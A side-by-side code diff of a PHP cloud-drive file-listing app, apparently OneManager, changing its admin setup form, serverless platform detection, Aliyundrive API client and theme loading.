<select name="' . $key . '"> <select name="' . $key . '">
<option value=""' . (getConfig($key, $disktag)===''?' selected':'') . '> </option> <option value=""' . (getConfig($key, $disktag)===''?' selected':'') . '> </option>
<option value="hidden"' . (getConfig($key, $disktag)==='hidden'?' selected':'') . '>hidden</option> <option value="hidden"' . (getConfig($key, $disktag)==='hidden'?' selected':'') . '>hidden</option>
<option value="disable"' . (getConfig($key, $disktag)==='disable'?' selected':'') . '>disable</option> <option value="disable"' . (getConfig($key, $disktag)==='disable'?' selected':'') . '>disable</option>
</select> </select>
' . getconstStr('EnvironmentsDescription')[$key]; ' . getconstStr('EnvironmentsDescription')[$key] . '
} elseif (isSwitchEnv($key)) {
$frame .= '
<select name="' . $key . '">
<option value=""></option>
<option value="1"' . (getConfig($key) ? ' selected="selected"' : '') . '>true</option>
</select>
' . getconstStr('EnvironmentsDescription')[$key];
} else {
$frame .= '
<input type="text" name="' . $key . '" value="' . getConfig($key, $disktag) . '" placeholder="' . getconstStr('EnvironmentsDescription')[$key] . '" style="width:100%">';
}
$frame .= '
</td> </td>
</tr>'; </tr>';
} else {
$frame .= '
<tr>
<td><label>' . $key . '</label></td>
<td width=100%><input type="text" name="' . $key . '" value="' . getConfig($key, $disktag) . '" placeholder="' . getconstStr('EnvironmentsDescription')[$key] . '" style="width:100%"></td>
</tr>';
}
} }
$frame .= ' $frame .= '
<tr><td></td><td><input type="submit" name="submit1" value="' . getconstStr('Setup') . '"></td></tr>'; <tr><td></td><td><input type="submit" name="submit1" value="' . getconstStr('Setup') . '"></td></tr>
</form>';
} else { } else {
$frame .= ' $frame .= '
<tr> <tr>
@ -1721,7 +1733,6 @@ output:
} }
$frame .= ' $frame .= '
</table> </table>
</form>
<script> <script>
function deldiskconfirm(t) { function deldiskconfirm(t) {
@ -1758,7 +1769,7 @@ output:
</script>'; </script>';
} else { } else {
if (count($disktags)>1) { if (count($disktags)>1) {
$frame = ' $frame .= '
<script src="https://www.unpkg.com/sortablejs@1.14.0/Sortable.min.js"></script> <script src="https://www.unpkg.com/sortablejs@1.14.0/Sortable.min.js"></script>
<style> <style>
.sortable-ghost { .sortable-ghost {
@ -1857,7 +1868,17 @@ output:
</script>'; </script>';
$canOneKeyUpate = 0; $canOneKeyUpate = 0;
if ('Normal' != $platform) { if (isset($_SERVER['USER'])&&$_SERVER['USER']==='qcloud') {
$canOneKeyUpate = 1;
} elseif (isset($_SERVER['HEROKU_APP_DIR'])&&$_SERVER['HEROKU_APP_DIR']==='/app') {
$canOneKeyUpate = 1;
} elseif (isset($_SERVER['FC_FUNC_CODE_PATH'])) {
$canOneKeyUpate = 1;
} elseif (isset($_SERVER['BCE_CFC_RUNTIME_NAME'])&&$_SERVER['BCE_CFC_RUNTIME_NAME']=='php7') {
$canOneKeyUpate = 1;
} elseif (isset($_SERVER['_APP_SHARE_DIR'])&&$_SERVER['_APP_SHARE_DIR']==='/var/share/CFF/processrouter') {
$canOneKeyUpate = 1;
} elseif (isset($_SERVER['DOCUMENT_ROOT'])&&$_SERVER['DOCUMENT_ROOT']==='/var/task/user') {
$canOneKeyUpate = 1; $canOneKeyUpate = 1;
} else { } else {
$tmp = time(); $tmp = time();
@ -2165,7 +2186,8 @@ output:
return message($html, getconstStr('Setup')); return message($html, getconstStr('Setup'));
} }
function render_list($path = '', $files = []) { function render_list($path = '', $files = [])
{
global $exts; global $exts;
global $constStr; global $constStr;
global $slash; global $slash;
@ -2174,10 +2196,6 @@ function render_list($path = '', $files = []) {
$htmlcontent = get_content(path_format($path . '/index.html'))['content']; $htmlcontent = get_content(path_format($path . '/index.html'))['content'];
return output($htmlcontent['body'], $htmlcontent['stat']); return output($htmlcontent['body'], $htmlcontent['stat']);
} }
if (isset($files['list']['index.htm']) && !$_SERVER['admin']) {
$htmlcontent = get_content(path_format($path . '/index.htm'))['content'];
return output($htmlcontent['body'], $htmlcontent['stat']);
}
//$path = str_replace('%20','%2520',$path); //$path = str_replace('%20','%2520',$path);
//$path = str_replace('+','%2B',$path); //$path = str_replace('+','%2B',$path);
$path1 = path_format(urldecode($path)); $path1 = path_format(urldecode($path));
@ -2257,15 +2275,15 @@ function render_list($path = '', $files = []) {
} else { } else {
if (!($html = getcache('customTheme'))) { if (!($html = getcache('customTheme'))) {
$file_path = $theme; $file_path = $theme;
$tmp = curl('GET', $file_path, '', [], 1, 1); $tmp = curl('GET', $file_path, '', [], 1);
//error_log1($file_path . " =+= " . json_encode($tmp)); if ($tmp['stat']==302) {
if ($tmp['stat'] == 200) { error_log1(json_encode($tmp));
$html = $tmp['body']; $tmp = curl('GET', $tmp["returnhead"]["Location"]);
}
if (!!$tmp['body']) $html = $tmp['body'];
savecache('customTheme', $html, '', 9999); savecache('customTheme', $html, '', 9999);
} else {
$html = "<pre>" . json_encode($tmp, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) . "</pre>";
}
} }
} }
$tmp = splitfirst($html, '<!--IconValuesStart-->'); $tmp = splitfirst($html, '<!--IconValuesStart-->');
@ -2344,6 +2362,7 @@ function render_list($path = '', $files = []) {
while (strpos($html, '<!--constStr@File-->')) $html = str_replace('<!--constStr@File-->', getconstStr('File'), $html); while (strpos($html, '<!--constStr@File-->')) $html = str_replace('<!--constStr@File-->', getconstStr('File'), $html);
while (strpos($html, '<!--constStr@Name-->')) $html = str_replace('<!--constStr@Name-->', getconstStr('Name'), $html); while (strpos($html, '<!--constStr@Name-->')) $html = str_replace('<!--constStr@Name-->', getconstStr('Name'), $html);
while (strpos($html, '<!--constStr@Content-->')) $html = str_replace('<!--constStr@Content-->', getconstStr('Content'), $html); while (strpos($html, '<!--constStr@Content-->')) $html = str_replace('<!--constStr@Content-->', getconstStr('Content'), $html);
} else { } else {
$tmp[1] = 'a'; $tmp[1] = 'a';
while ($tmp[1]!='') { while ($tmp[1]!='') {
@ -2765,6 +2784,7 @@ function render_list($path = '', $files = []) {
$html .= $tmp[1]; $html .= $tmp[1];
while (strpos($html, '<!--MaxPageNum-->')) $html = str_replace('<!--MaxPageNum-->', $maxpage, $html); while (strpos($html, '<!--MaxPageNum-->')) $html = str_replace('<!--MaxPageNum-->', $maxpage, $html);
} else { } else {
while (strpos($html, '<!--MorePageStart-->')) { while (strpos($html, '<!--MorePageStart-->')) {
$tmp = splitfirst($html, '<!--MorePageStart-->'); $tmp = splitfirst($html, '<!--MorePageStart-->');
@ -2773,6 +2793,7 @@ function render_list($path = '', $files = []) {
$html .= $tmp[1]; $html .= $tmp[1];
} }
} }
} }
$html = str_replace('<!--constStr@language-->', $constStr['language'], $html); $html = str_replace('<!--constStr@language-->', $constStr['language'], $html);

View File

@ -9,10 +9,7 @@ class Aliyundrive {
//$this->auth_url = 'https://websv.aliyundrive.com/token/refresh'; //$this->auth_url = 'https://websv.aliyundrive.com/token/refresh';
$this->auth_url = 'https://auth.aliyundrive.com/v2/account/token'; $this->auth_url = 'https://auth.aliyundrive.com/v2/account/token';
$this->api_url = 'https://api.aliyundrive.com/v2'; $this->api_url = 'https://api.aliyundrive.com/v2';
$this->api_url_v3 = 'https://api.aliyundrive.com/adrive/v3';
$this->driveId = getConfig('driveId', $tag); $this->driveId = getConfig('driveId', $tag);
//$this->DownurlStrName = 'download_url';
$this->DownurlStrName = 'url';
$res = $this->get_access_token(getConfig('refresh_token', $tag)); $res = $this->get_access_token(getConfig('refresh_token', $tag));
} }
@ -53,7 +50,7 @@ class Aliyundrive {
$tmp['time'] = $files['updated_at']; $tmp['time'] = $files['updated_at'];
$tmp['size'] = $files['size']; $tmp['size'] = $files['size'];
$tmp['mime'] = $files['file']['mimeType']; $tmp['mime'] = $files['file']['mimeType'];
$tmp['url'] = $files[$this->DownurlStrName]; $tmp['url'] = $files['download_url'];
$tmp['content'] = $files['content']; $tmp['content'] = $files['content'];
if (isset($files['exist'])) $tmp['exist'] = $files['exist']; if (isset($files['exist'])) $tmp['exist'] = $files['exist'];
if (isset($files['rapid_upload'])) $tmp['rapid_upload'] = $files['rapid_upload']; if (isset($files['rapid_upload'])) $tmp['rapid_upload'] = $files['rapid_upload'];
@ -69,7 +66,7 @@ class Aliyundrive {
$filename = strtolower($file['name']); $filename = strtolower($file['name']);
if ($file['type']=='file') { if ($file['type']=='file') {
$tmp['list'][$filename]['type'] = 'file'; $tmp['list'][$filename]['type'] = 'file';
$tmp['list'][$filename]['url'] = $file[$this->DownurlStrName]; $tmp['list'][$filename]['url'] = $file['download_url'];
$tmp['list'][$filename]['mime'] = $file['file']['content_type']; $tmp['list'][$filename]['mime'] = $file['file']['content_type'];
} elseif ($file['type']=='folder') { } elseif ($file['type']=='folder') {
$tmp['list'][$filename]['type'] = 'folder'; $tmp['list'][$filename]['type'] = 'folder';
@ -125,7 +122,7 @@ class Aliyundrive {
if (!(isset($files['content'])&&$files['content']['stat']==200)) { if (!(isset($files['content'])&&$files['content']['stat']==200)) {
$header['Referer'] = 'https://www.aliyundrive.com/'; $header['Referer'] = 'https://www.aliyundrive.com/';
$header['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36'; $header['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36';
$content1 = curl('GET', $files[$this->DownurlStrName], '', $header); $content1 = curl('GET', $files['download_url'], '', $header);
$tmp = null; $tmp = null;
$tmp = json_decode(json_encode($content1), true); $tmp = json_decode(json_encode($content1), true);
if ($tmp['body']===null) { if ($tmp['body']===null) {
@ -185,7 +182,7 @@ class Aliyundrive {
} }
protected function fileList($parent_file_id) protected function fileList($parent_file_id)
{ {
$url = $this->api_url_v3 . '/file/list'; $url = $this->api_url . '/file/list';
$header["content-type"] = "application/json; charset=utf-8"; $header["content-type"] = "application/json; charset=utf-8";
$header['authorization'] = 'Bearer ' . $this->access_token; $header['authorization'] = 'Bearer ' . $this->access_token;
@ -348,7 +345,7 @@ class Aliyundrive {
$r = bchexdec( substr(md5($this->access_token), 0, 16) ); $r = bchexdec( substr(md5($this->access_token), 0, 16) );
$o = bcmod($r, $oldfile['size']); $o = bcmod($r, $oldfile['size']);
} }
$res = curl('GET', $oldfile[$this->DownurlStrName], '', [ $res = curl('GET', $oldfile['download_url'], '', [
'Referer' => '' 'Referer' => ''
, 'Range' => 'bytes=' . $o . '-' . ($o+7) , 'Range' => 'bytes=' . $o . '-' . ($o+7)
]); ]);
@ -629,7 +626,7 @@ class Aliyundrive {
} }
$res = json_decode($result['body'], true); $res = json_decode($result['body'], true);
//if (isset($res['url'])) //if (isset($res['url']))
$res[$this->DownurlStrName] = $_SERVER['host'] . path_format($_SERVER['base_disk_path'] . '/' . $path . '/' . $filename); $res['download_url'] = $_SERVER['host'] . path_format($_SERVER['base_disk_path'] . '/' . $path . '/' . $filename);
} }
return output(json_encode($this->files_format($res), JSON_UNESCAPED_SLASHES), $result['stat']); return output(json_encode($this->files_format($res), JSON_UNESCAPED_SLASHES), $result['stat']);
} }

File diff suppressed because it is too large Load Diff

View File

@ -1,7 +1,6 @@
<?php <?php
//error_reporting(E_ALL & ~E_NOTICE); //error_reporting(E_ALL & ~E_NOTICE);
error_reporting(0); error_reporting(0);
include 'vendor/autoload.php'; include 'vendor/autoload.php';
include 'conststr.php'; include 'conststr.php';
include 'common.php'; include 'common.php';
@ -9,46 +8,18 @@ include 'common.php';
date_default_timezone_set('UTC'); date_default_timezone_set('UTC');
//echo '<pre>'. json_encode($_SERVER, JSON_PRETTY_PRINT).'</pre>'; //echo '<pre>'. json_encode($_SERVER, JSON_PRETTY_PRINT).'</pre>';
//echo '<pre>'. json_encode($_ENV, JSON_PRETTY_PRINT).'</pre>'; //echo '<pre>'. json_encode($_ENV, JSON_PRETTY_PRINT).'</pre>';
global $platform; if (isset($_SERVER['USER'])&&$_SERVER['USER']==='qcloud') {
$platform = checkPlatform();
function checkPlatform() {
if (isset($_SERVER['USER'])&&$_SERVER['USER']==='qcloud')
return 'SCF';
if (isset($_SERVER['FC_FUNC_CODE_PATH']))
return 'FC';
if (isset($_SERVER['RUNTIME_LOG_PATH']) && $_SERVER['RUNTIME_LOG_PATH']=='/home/snuser/log')
return 'FG';
if (isset($_SERVER['BCE_CFC_RUNTIME_NAME']) && $_SERVER['BCE_CFC_RUNTIME_NAME']=='php7')
return 'CFC';
if (isset($_SERVER['HEROKU_APP_DIR'])&&$_SERVER['HEROKU_APP_DIR']==='/app')
return 'Heroku';
if (isset($_SERVER['DOCUMENT_ROOT'])&&$_SERVER['DOCUMENT_ROOT']==='/var/task/user')
return 'Vercel';
if (isset($_SERVER['DOCUMENT_ROOT'])&&substr($_SERVER['DOCUMENT_ROOT'], 0, 13)==='/home/runner/')
return 'Replit';
return 'Normal';
}
function writebackPlatform($p) {
if ('SCF'==$p) $_SERVER['USER']='qcloud';
if ('FC'==$p) $_SERVER['FC_FUNC_CODE_PATH']=getenv('FC_FUNC_CODE_PATH');
if ('FG'==$p) $_SERVER['RUNTIME_LOG_PATH']='/home/snuser/log';
if ('CFC'==$p) $_SERVER['BCE_CFC_RUNTIME_NAME']='php7';
//if ('Heroku'==$p) $_SERVER['HEROKU_APP_DIR']='/app';
if ('Vercel'==$p) $_SERVER['DOCUMENT_ROOT']='/var/task/user';
//if ('Replit'==$p) $_SERVER['DOCUMENT_ROOT']='/home/runner/';
}
if ('SCF'==$platform) {
if (getenv('ONEMANAGER_CONFIG_SAVE')=='file') include 'platform/TencentSCF_file.php'; if (getenv('ONEMANAGER_CONFIG_SAVE')=='file') include 'platform/TencentSCF_file.php';
else include 'platform/TencentSCF_env.php'; else include 'platform/TencentSCF_env.php';
} elseif ('FC'==$platform) { } elseif (isset($_SERVER['FC_FUNC_CODE_PATH'])) {
include 'platform/AliyunFC.php'; include 'platform/AliyunFC.php';
} elseif ('FG'==$platform) { } elseif (isset($_SERVER['_APP_SHARE_DIR']) && $_SERVER['_APP_SHARE_DIR']=='/var/share/CFF/processrouter') {
//if (getenv('ONEMANAGER_CONFIG_SAVE')=='file') include 'platform/HuaweiFG_file.php'; //if (getenv('ONEMANAGER_CONFIG_SAVE')=='file') include 'platform/HuaweiFG_file.php';
//else include 'platform/HuaweiFG_env.php'; //else include 'platform/HuaweiFG_env.php';
echo 'FG' . PHP_EOL; echo 'FG' . PHP_EOL;
} elseif ('CFC'==$platform) { } elseif (isset($_SERVER['BCE_CFC_RUNTIME_NAME']) && $_SERVER['BCE_CFC_RUNTIME_NAME']=='php7') {
include 'platform/BaiduCFC.php'; include 'platform/BaiduCFC.php';
} elseif ('Heroku'==$platform) { } elseif (isset($_SERVER['HEROKU_APP_DIR'])&&$_SERVER['HEROKU_APP_DIR']==='/app') {
include 'platform/Heroku.php'; include 'platform/Heroku.php';
$path = getpath(); $path = getpath();
//echo 'path:'. $path; //echo 'path:'. $path;
@ -62,11 +33,9 @@ if ('SCF'==$platform) {
http_response_code($re['statusCode']); http_response_code($re['statusCode']);
if ($re['isBase64Encoded']) echo base64_decode($re['body']); if ($re['isBase64Encoded']) echo base64_decode($re['body']);
else echo $re['body']; else echo $re['body'];
} elseif ('Vercel'==$platform) { } elseif (isset($_SERVER['DOCUMENT_ROOT'])&&$_SERVER['DOCUMENT_ROOT']==='/var/task/user') {
if (getenv('ONEMANAGER_CONFIG_SAVE')=='env') include 'platform/Vercel_env.php'; if (getenv('ONEMANAGER_CONFIG_SAVE')=='env') include 'platform/Vercel_env.php';
else include 'platform/Vercel.php'; else include 'platform/Vercel.php';
writebackPlatform('Vercel');
$path = getpath(); $path = getpath();
//echo 'path:'. $path; //echo 'path:'. $path;
$_GET = getGET(); $_GET = getGET();
@ -79,7 +48,7 @@ if ('SCF'==$platform) {
http_response_code($re['statusCode']); http_response_code($re['statusCode']);
if ($re['isBase64Encoded']) echo base64_decode($re['body']); if ($re['isBase64Encoded']) echo base64_decode($re['body']);
else echo $re['body']; else echo $re['body'];
} elseif ('Replit'==$platform) { } elseif (isset($_SERVER['DOCUMENT_ROOT'])&&substr($_SERVER['DOCUMENT_ROOT'], 0, 13)==='/home/runner/') {
include 'platform/Replit.php'; include 'platform/Replit.php';
$path = getpath(); $path = getpath();
@ -129,7 +98,6 @@ function main_handler($event, $context)
unset($_GET); unset($_GET);
unset($_COOKIE); unset($_COOKIE);
unset($_SERVER); unset($_SERVER);
writebackPlatform('SCF');
GetGlobalVariable($event); GetGlobalVariable($event);
//echo '<pre>'. json_encode($_COOKIE, JSON_PRETTY_PRINT).'</pre>'; //echo '<pre>'. json_encode($_COOKIE, JSON_PRETTY_PRINT).'</pre>';
$path = GetPathSetting($event, $context); $path = GetPathSetting($event, $context);
@ -140,8 +108,7 @@ function main_handler($event, $context)
// Aliyun FC & Huawei FG & Baidu CFC // Aliyun FC & Huawei FG & Baidu CFC
function handler($event, $context) function handler($event, $context)
{ {
global $platform; if (isset($_SERVER['FC_FUNC_CODE_PATH'])) {
if ('FC'==$platform) {
// Aliyun FC // Aliyun FC
set_error_handler("myErrorHandler"); set_error_handler("myErrorHandler");
$tmp = array( $tmp = array(
@ -160,7 +127,6 @@ function handler($event, $context)
unset($_GET); unset($_GET);
unset($_COOKIE); unset($_COOKIE);
unset($_SERVER); unset($_SERVER);
writebackPlatform('FC');
GetGlobalVariable($event); GetGlobalVariable($event);
$path = GetPathSetting($event, $context); $path = GetPathSetting($event, $context);
@ -168,7 +134,7 @@ function handler($event, $context)
return new RingCentral\Psr7\Response($re['statusCode'], $re['headers'], ($re['isBase64Encoded']?base64_decode($re['body']):$re['body'])); return new RingCentral\Psr7\Response($re['statusCode'], $re['headers'], ($re['isBase64Encoded']?base64_decode($re['body']):$re['body']));
} elseif ('FG'==$platform) { } elseif ($_SERVER['_APP_SHARE_DIR']=='/var/share/CFF/processrouter') {
// Huawei FG // Huawei FG
global $contextUserData; global $contextUserData;
$contextUserData = $context; $contextUserData = $context;
@ -183,14 +149,13 @@ function handler($event, $context)
unset($_GET); unset($_GET);
unset($_COOKIE); unset($_COOKIE);
unset($_SERVER); unset($_SERVER);
writebackPlatform('FG');
GetGlobalVariable($event); GetGlobalVariable($event);
//echo '<pre>'. json_encode($_COOKIE, JSON_PRETTY_PRINT).'</pre>'; //echo '<pre>'. json_encode($_COOKIE, JSON_PRETTY_PRINT).'</pre>';
$path = GetPathSetting($event, $context); $path = GetPathSetting($event, $context);
return main($path); return main($path);
} elseif ('CFC'==$platform) { } elseif ($_SERVER['BCE_CFC_RUNTIME_NAME']=='php7') {
// Baidu CFC // Baidu CFC
//$html = '<pre>'. json_encode($event, JSON_PRETTY_PRINT).'</pre>'; //$html = '<pre>'. json_encode($event, JSON_PRETTY_PRINT).'</pre>';
//$html .= '<pre>'. json_encode($context, JSON_PRETTY_PRINT).'</pre>'; //$html .= '<pre>'. json_encode($context, JSON_PRETTY_PRINT).'</pre>';
@ -204,7 +169,6 @@ function handler($event, $context)
unset($_GET); unset($_GET);
unset($_COOKIE); unset($_COOKIE);
unset($_SERVER); unset($_SERVER);
writebackPlatform('CFC');
GetGlobalVariable($event); GetGlobalVariable($event);
//echo '<pre>'. json_encode($_COOKIE, JSON_PRETTY_PRINT).'</pre>'; //echo '<pre>'. json_encode($_COOKIE, JSON_PRETTY_PRINT).'</pre>';
$path = GetPathSetting($event, $context); $path = GetPathSetting($event, $context);

File diff suppressed because it is too large Load Diff

1
js/spark-md5.min.js vendored

File diff suppressed because one or more lines are too long

View File

@ -67,6 +67,7 @@ function GetPathSetting($event, $context)
$_SERVER['host'] = $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['HTTP_HOST']; $_SERVER['host'] = $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['HTTP_HOST'];
$_SERVER['referhost'] = explode('/', $event['headers']['Referer'][0])[2]; $_SERVER['referhost'] = explode('/', $event['headers']['Referer'][0])[2];
$_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['If-Modified-Since'][0]; $_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['If-Modified-Since'][0];
$_SERVER['FC_FUNC_CODE_PATH'] = getenv('FC_FUNC_CODE_PATH');
$_SERVER['REQUEST_METHOD'] = $event['method']; $_SERVER['REQUEST_METHOD'] = $event['method'];
return $path; return $path;
//return spurlencode($path, '/'); //return spurlencode($path, '/');

View File

@ -6,7 +6,7 @@ global $contextUserData;
function printInput($event, $context) function printInput($event, $context)
{ {
$tmp['RequestID'] = $context->getRequestID(); $tmp['eventID'] = $context->geteventID();
$tmp['RemainingTimeInMilliSeconds'] = $context->getRemainingTimeInMilliSeconds(); $tmp['RemainingTimeInMilliSeconds'] = $context->getRemainingTimeInMilliSeconds();
$tmp['AccessKey'] = $context->getAccessKey(); $tmp['AccessKey'] = $context->getAccessKey();
$tmp['SecretKey'] = $context->getSecretKey(); $tmp['SecretKey'] = $context->getSecretKey();
@ -17,7 +17,7 @@ function printInput($event, $context)
$tmp['MemorySize'] = $context->getMemorySize(); $tmp['MemorySize'] = $context->getMemorySize();
$tmp['CPUNumber'] = $context->getCPUNumber(); $tmp['CPUNumber'] = $context->getCPUNumber();
$tmp['ProjectID'] = $context->getProjectID(); $tmp['ProjectID'] = $context->getProjectID();
$tmp['Package'] = $context->getPackage(); $tmp['Package'] = $context->Package();
$tmp['Token'] = $context->getToken(); $tmp['Token'] = $context->getToken();
$tmp['Logger'] = $context->getLogger(); $tmp['Logger'] = $context->getLogger();
@ -51,13 +51,13 @@ function GetPathSetting($event, $context)
$_SERVER['ProjectID'] = $context->getProjectID(); $_SERVER['ProjectID'] = $context->getProjectID();
$host_name = $event['headers']['host']; $host_name = $event['headers']['host'];
$_SERVER['HTTP_HOST'] = $host_name; $_SERVER['HTTP_HOST'] = $host_name;
$path = path_format('/' . $event['pathParameters']['']); $path = path_format($event['pathParameters'][''].'/');
$path = str_replace('+', '%2B', $path); $path = str_replace('+', '%2B', $path);
$_SERVER['base_path'] = path_format($event['path']); $_SERVER['base_path'] = path_format($event['path'].'/');
if ( $_SERVER['base_path'] == $path ) { if ( $_SERVER['base_path'] == $path ) {
$_SERVER['base_path'] = '/'; $_SERVER['base_path'] = '/';
} else { } else {
$_SERVER['base_path'] = substr($_SERVER['base_path'], 0, strlen($_SERVER['base_path'])-strlen($path)); $_SERVER['base_path'] = substr($_SERVER['base_path'], 0, -strlen($path));
if ($_SERVER['base_path']=='') $_SERVER['base_path'] = '/'; if ($_SERVER['base_path']=='') $_SERVER['base_path'] = '/';
} }
//$_SERVER['PHP_SELF'] = path_format($_SERVER['base_path'] . $path); //$_SERVER['PHP_SELF'] = path_format($_SERVER['base_path'] . $path);
@ -75,6 +75,7 @@ function GetPathSetting($event, $context)
$_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f' $_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f'
$_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since']; $_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since'];
$_SERVER['REQUEST_METHOD'] = $event['httpMethod']; $_SERVER['REQUEST_METHOD'] = $event['httpMethod'];
$_SERVER['_APP_SHARE_DIR'] = '/var/share/CFF/processrouter';
return $path; return $path;
} }

View File

@ -6,7 +6,7 @@ global $contextUserData;
function printInput($event, $context) function printInput($event, $context)
{ {
$tmp['RequestID'] = $context->getRequestID(); $tmp['eventID'] = $context->geteventID();
$tmp['RemainingTimeInMilliSeconds'] = $context->getRemainingTimeInMilliSeconds(); $tmp['RemainingTimeInMilliSeconds'] = $context->getRemainingTimeInMilliSeconds();
$tmp['AccessKey'] = $context->getAccessKey(); $tmp['AccessKey'] = $context->getAccessKey();
$tmp['SecretKey'] = $context->getSecretKey(); $tmp['SecretKey'] = $context->getSecretKey();
@ -17,7 +17,7 @@ function printInput($event, $context)
$tmp['MemorySize'] = $context->getMemorySize(); $tmp['MemorySize'] = $context->getMemorySize();
$tmp['CPUNumber'] = $context->getCPUNumber(); $tmp['CPUNumber'] = $context->getCPUNumber();
$tmp['ProjectID'] = $context->getProjectID(); $tmp['ProjectID'] = $context->getProjectID();
$tmp['Package'] = $context->getPackage(); $tmp['Package'] = $context->Package();
$tmp['Token'] = $context->getToken(); $tmp['Token'] = $context->getToken();
$tmp['Logger'] = $context->getLogger(); $tmp['Logger'] = $context->getLogger();
@ -51,13 +51,13 @@ function GetPathSetting($event, $context)
$_SERVER['ProjectID'] = $context->getProjectID(); $_SERVER['ProjectID'] = $context->getProjectID();
$host_name = $event['headers']['host']; $host_name = $event['headers']['host'];
$_SERVER['HTTP_HOST'] = $host_name; $_SERVER['HTTP_HOST'] = $host_name;
$path = path_format('/' . $event['pathParameters']['']); $path = path_format($event['pathParameters'][''].'/');
$path = str_replace('+', '%2B', $path); $path = str_replace('+', '%2B', $path);
$_SERVER['base_path'] = path_format($event['path']); $_SERVER['base_path'] = path_format($event['path'].'/');
if ( $_SERVER['base_path'] == $path ) { if ( $_SERVER['base_path'] == $path ) {
$_SERVER['base_path'] = '/'; $_SERVER['base_path'] = '/';
} else { } else {
$_SERVER['base_path'] = substr($_SERVER['base_path'], 0, strlen($_SERVER['base_path'])-strlen($path)); $_SERVER['base_path'] = substr($_SERVER['base_path'], 0, -strlen($path));
if ($_SERVER['base_path']=='') $_SERVER['base_path'] = '/'; if ($_SERVER['base_path']=='') $_SERVER['base_path'] = '/';
} }
//$_SERVER['PHP_SELF'] = path_format($_SERVER['base_path'] . $path); //$_SERVER['PHP_SELF'] = path_format($_SERVER['base_path'] . $path);
@ -75,6 +75,7 @@ function GetPathSetting($event, $context)
$_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f' $_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f'
$_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since']; $_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since'];
$_SERVER['REQUEST_METHOD'] = $event['httpMethod']; $_SERVER['REQUEST_METHOD'] = $event['httpMethod'];
$_SERVER['_APP_SHARE_DIR'] = '/var/share/CFF/processrouter';
return $path; return $path;
} }

View File

@ -4,7 +4,7 @@ function getpath()
{ {
$_SERVER['firstacceptlanguage'] = strtolower(splitfirst(splitfirst($_SERVER['HTTP_ACCEPT_LANGUAGE'],';')[0],',')[0]); $_SERVER['firstacceptlanguage'] = strtolower(splitfirst(splitfirst($_SERVER['HTTP_ACCEPT_LANGUAGE'],';')[0],',')[0]);
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
if (isset($_SERVER['HTTP_FLY_CLIENT_IP'])) $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_FLY_CLIENT_IP']; // Glitch if (isset($_SERVER['HTTP_FLY_CLIENT_IP'])) $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_FLY_CLIENT_IP'];
if ($_SERVER['HTTP_FLY_FORWARDED_PROTO']!='') $_SERVER['REQUEST_SCHEME'] = $_SERVER['HTTP_FLY_FORWARDED_PROTO']; if ($_SERVER['HTTP_FLY_FORWARDED_PROTO']!='') $_SERVER['REQUEST_SCHEME'] = $_SERVER['HTTP_FLY_FORWARDED_PROTO'];
if ($_SERVER['HTTP_X_FORWARDED_PROTO']!='') { if ($_SERVER['HTTP_X_FORWARDED_PROTO']!='') {
$tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_PROTO'])[0]; $tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_PROTO'])[0];

View File

@ -60,6 +60,7 @@ function GetPathSetting($event, $context)
$_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f' $_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f'
$_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since']; $_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since'];
$_SERVER['REQUEST_METHOD'] = $event['httpMethod']; $_SERVER['REQUEST_METHOD'] = $event['httpMethod'];
$_SERVER['USER'] = 'qcloud';
return $path; return $path;
} }

View File

@ -60,6 +60,7 @@ function GetPathSetting($event, $context)
$_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f' $_SERVER['HTTP_TRANSLATE'] = $event['headers']['translate'];//'f'
$_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since']; $_SERVER['HTTP_IF_MODIFIED_SINCE'] = $event['headers']['if-modified-since'];
$_SERVER['REQUEST_METHOD'] = $event['httpMethod']; $_SERVER['REQUEST_METHOD'] = $event['httpMethod'];
$_SERVER['USER'] = 'qcloud';
return $path; return $path;
} }

View File

@ -1,7 +1,8 @@
<?php <?php
// https://vercel.com/docs/api#endpoints/deployments/create-a-new-deployment // https://vercel.com/docs/api#endpoints/deployments/create-a-new-deployment
function getpath() { function getpath()
{
$_SERVER['firstacceptlanguage'] = strtolower(splitfirst(splitfirst($_SERVER['HTTP_ACCEPT_LANGUAGE'],';')[0],',')[0]); $_SERVER['firstacceptlanguage'] = strtolower(splitfirst(splitfirst($_SERVER['HTTP_ACCEPT_LANGUAGE'],';')[0],',')[0]);
